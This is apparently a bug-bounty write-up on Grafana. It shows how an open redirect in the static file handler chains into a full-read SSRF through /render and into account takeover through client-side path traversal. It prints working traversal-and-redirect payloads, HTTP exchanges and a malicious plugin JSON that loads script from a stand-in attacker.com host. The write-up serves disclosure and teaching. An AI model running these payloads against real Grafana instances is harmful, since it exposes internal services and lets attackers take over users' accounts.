7 minute read

Summary

An open redirect happens when a web application takes a URL parameter and redirects the user to the specified URL without validating it.

/redirect?url=https://evil.com –> (302 Redirect) –> https://evil.com

This might not seem dangerous on its own, but this type of bug was the starting point for uncovering two separate vulnerabilities: a Full Read SSRF and an account takeover. In this post, I’ll walk through the full process of how I found them — step by step.

Why Grafana?

Grafana is an open-source analytics platform, built mainly in Go and TypeScript, used to visualize data from sources like Prometheus and InfluxDB. I thought finding a vulnerability in this web app would be a good challenge, so I downloaded the source code and started debugging — even though it was my first time working with Go. I decided to focus on the unauthenticated parts of the application.

Entry point: Open Redirect

I went through all the unauthenticated endpoints defined in api/api.go

...

// not logged in views
r.Get("/logout", hs.Logout)
r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...
r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)

r.Get("/login", hs.LoginView)
r.Get("", hs.Index)

// authed views
r.Get("/", reqSignedIn, hs.Index)
r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)

...

Functionality

I even dug deeper to inspect the middlewares used across the application. That’s when I came across a function responsible for handling static routes — and it caught my attention.

func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {
    if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
		return false
	}

	file := ctx.Req.URL.Path
	for _, p := range opt.Exclude {
		if file == p {
			return false
		}
	}

	// if we have a prefix, filter requests by stripping the prefix
	if opt.Prefix != "" {
		if !strings.HasPrefix(file, opt.Prefix) {
			return false
		}
		file = file[len(opt.Prefix):]
		if file != "" && file[0] != '/' {
			return false
		}
	}

	f, err := opt.FileSystem.Open(file)
	if err != nil {
		return false
	}

   ..............

}

The function was used to retrieve files from the system based on user input. Naturally, my first thought was to try loading arbitrary files using path traversal techniques like ../ or similar tricks.

I’ll explain you the flow of all the code and sanitizations in place (Important to understand the vulnerability):

alt text

So if you request /public/file/../../../name, the path gets sanitized and resolves to /staticfiles/etc/etc/name, effectively blocking access to unintended files outside the intended directory.

Additionally, if the resolved final path points to a folder, the StaticHandler function checks for a default file inside it — typically serving /index.html from that directory.

if fi.IsDir() {
    // Redirect if missing trailing slash.
    if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
        path := fmt.Sprintf("%s/", ctx.Req.URL.Path)
        if !strings.HasPrefix(path, "/") {
            // Disambiguate that it's a path relative to this server
            path = fmt.Sprintf("/%s", path)
        } else {
            // A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path
            rePrefix := regexp.MustCompile(`^(?:/\\|/+)`)
            path = rePrefix.ReplaceAllString(path, "/")
        }
        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
        return true
    }

    file = path.Join(file, opt.IndexFile)
    indexFile, err := opt.FileSystem.Open(file)
    ....
}

As you can see, if the final file is a directory and the provided route (/public/build) does not end with a /, the server redirects to the same path with a trailing / appended.

GET /public/build HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/build/

This redirection behavior is where the open redirect vulnerability occurs, so let’s dive into that next.

Objective

I have a scenario where the application is redirecting based on the provided route, so the final redirection URL will always start with /. My objective is to create a route that, when requested, redirects to a valid full URL starting with /, such as:

  • //attacker.com/... –> // indicates a protocol-relative URL, which uses the same protocol as the current page (HTTPS)
  • /\attacker.com/... –> /\ does the same

Problems and Solutions

Valid Directory

To reach the redirect functionality, I need a route that starts with /public/ and, when passed to opt.FileSystem.Open(file), resolves to a valid directory.

I started with /public/\attacker.com/../.., which resolves to an empty string "" and is then appended to /staticfiles/etc/etc/, triggering the if fi.isDir(){} code flow.

/public/\attacker.com/../.. –>
/\attacker.com/../.. –> "" –>
/staticfiles/etc/etc/+"" –> fi.isDir() TRUE

Now, I have a way to inject any payload that will be interpreted as a folder by opt.FileSystem.Open(file). /public/{}/../../..

Inconsistency

Once inside the isDir() part, the /public/\attacker.com/../.. path reaches the http.Redirect() function. The problem is that this function also resolves the path, which results in the redirect path being /.

if fi.IsDir() {
    ...
        
        
        //path is "/public/\attacker.com/../.." but the final redirect is "/"
        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
        return true
    
    ...
}


If I request /public/\attacker.com/../..

GET /public/\attacker.com/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /

So, basically,
I need to create a route where /../../.. is resolved by opt.FileSystem.Open(file) when loading the file,
but remains unresolved in http.Redirect() when performing the redirect.

The path is being parsed differently in each case.

  • opt.FileSystem.Open(file) expects a system file
  • http.Redirect(path) expects an url path

The question is the answer ?

  • opt.FileSystem.Open(file) treats ? as a normal character.
  • http.Redirect(path) interprets ? as the beginning of URL parameters.




That means that /public/\attacker.com/?/../../../.. will be treated like this:

opt.FileSystem.Open():

  • /public/\attacker.com/?/../../../.. = "" –> /staticfiles/etc/etc/+"" is a valid folder.

http.Redirect():

  • /public/\attacker.com/?/../../../.. –> Anything following ? is treated as a query string and is not resolved as part of the path.




Request with ? -> %3f:

GET /public/\attacker.com/%3f/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/\attacker.com/?/../../


Final payload

The URL /public/\attacker.com/?/../../../.. needs to be resolved to a full URL starting with /\.
I simply used this path: /public/../\attacker.com/?/../../../..

When http.Redirect() resolves the path, it removes the /public part.

Request:

GET /public/../\attacker.com/%3f/../../../../../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /\attacker.com/?/../../../../../../


Summary

alt text


Full Read SSRF

That open redirect doesn’t have any serious security impact by itself, so I need to chain it with another functionality.

Grafana has an endpoint called /render, which is used to generate images based on the provided path.

// rendering
r.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)

alt text

This endpoint uses a headless browser to render the HTML of the route specified by the user, it only accepts relative URL paths /route and does not allow rendering content from absolute URLs https://....

But what if I use the open redirect I found to redirect to an internal service? First, I tried to load google.es with /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f.. alt text

Then I set up an internal service that’s inaccessible from the outside And I tried loading 127.0.0.1:1234 with /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f.. alt text

With this exploit, I was able to fully read internal services. Since a browser is used for rendering, I can even send POST requests by crafting a form that targets the internal service.

Grafana’s public program on Intigriti doesn’t include the /render endpoint in scope because it’s not enabled by default. Also, this bug requires sign-in, so I can’t gain anything from it.

Account Takeover through XSS

This is probably the best bug chain I’ve ever exploited to achieve XSS and account takeover.

Client-side Path Traversal

A significant part of Grafana’s client-side code allows client-side path traversal. For example, when you load /invite/1 in the browser, the JavaScript makes a request to /api/user/invite/1 to retrieve the invite information.

However, if you load /invite/..%2f..%2f..%2f..%2froute, the JavaScript resolves the path traversal and ends up loading /route. cspt

This creates the perfect scenario to force the JavaScript to load the open redirect, which in turn fetches a specially crafted JSON from my server.
But first, I need to find an endpoint that loads content in an unsafe way and exploit it to execute JavaScript.

Loading a malicious javascript file

You can use /a/plugin-app/explore to load and manage a plugin app. The JavaScript of this functionality extracts plugin-app name from the URL and uses it to request plugin information from /api/plugins/plugin-app/settings.

The /api/plugins/plugin-app/settings file looks like this.

{
    "name": "plugin-app",
    "type": "app",
    "id": "plugin-app",
    "enabled": true,
    "pinned": true,
    "autoEnabled": true,
    "module": "/modules/..../plugin-app.js", //js file to load
    "baseUrl": "public/plugins/grafana-lokiexplore-app",
    "info": {
        "author": {
            "name": "Grafana"
            ...
        }
    }
    ...
}

/a/plugin-app/explore loads that file, and executes the javascript provided in the "module" parameter.
/a/plugin-app/explore is vulnerable to client-side path traversal, which allows me to load any route on the server instead of /api/plugin-app/settings.
This lets me load the open redirect, and as a result, fetch my own malicious JSON containing any JavaScript file I want.

So basically, I set up my own server with all the necessary JS and JSON files. I just need to host a JSON like this:

{
    "name": "ExploitPluginReq",
    "type": "app",
    "id": "grafana-lokiexplore-app",
    "enabled": true,
    "pinned": true,
    "autoEnabled": true,
    "module": "http://attacker.com/file?js=file", //malicious js file
    "baseUrl": "public/plugins/grafana-lokiexplore-app",
    "info": {
        "author": {...}
    }
    ...
}

And load this route, /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore which exploits the client-side path traversal and the open redirect.

The result: alt text My malicious JavaScript file gets executed, allowing me to change the victim’s email and reset their password.

Summary

alt text

I always thought Grafana would be an impossible target to hack. It looks so sophisticated and secure — and to be fair, it truly is.

But discovering this vulnerability proves that no matter how secure an application may seem, it always has, or will eventually have, vulnerabilities.

I was rewarded with $3,700 (€3,289), although I couldn’t escalate the bug further by reporting it to multiple bug bounty programs, since both exploitation paths require authentication

Updated: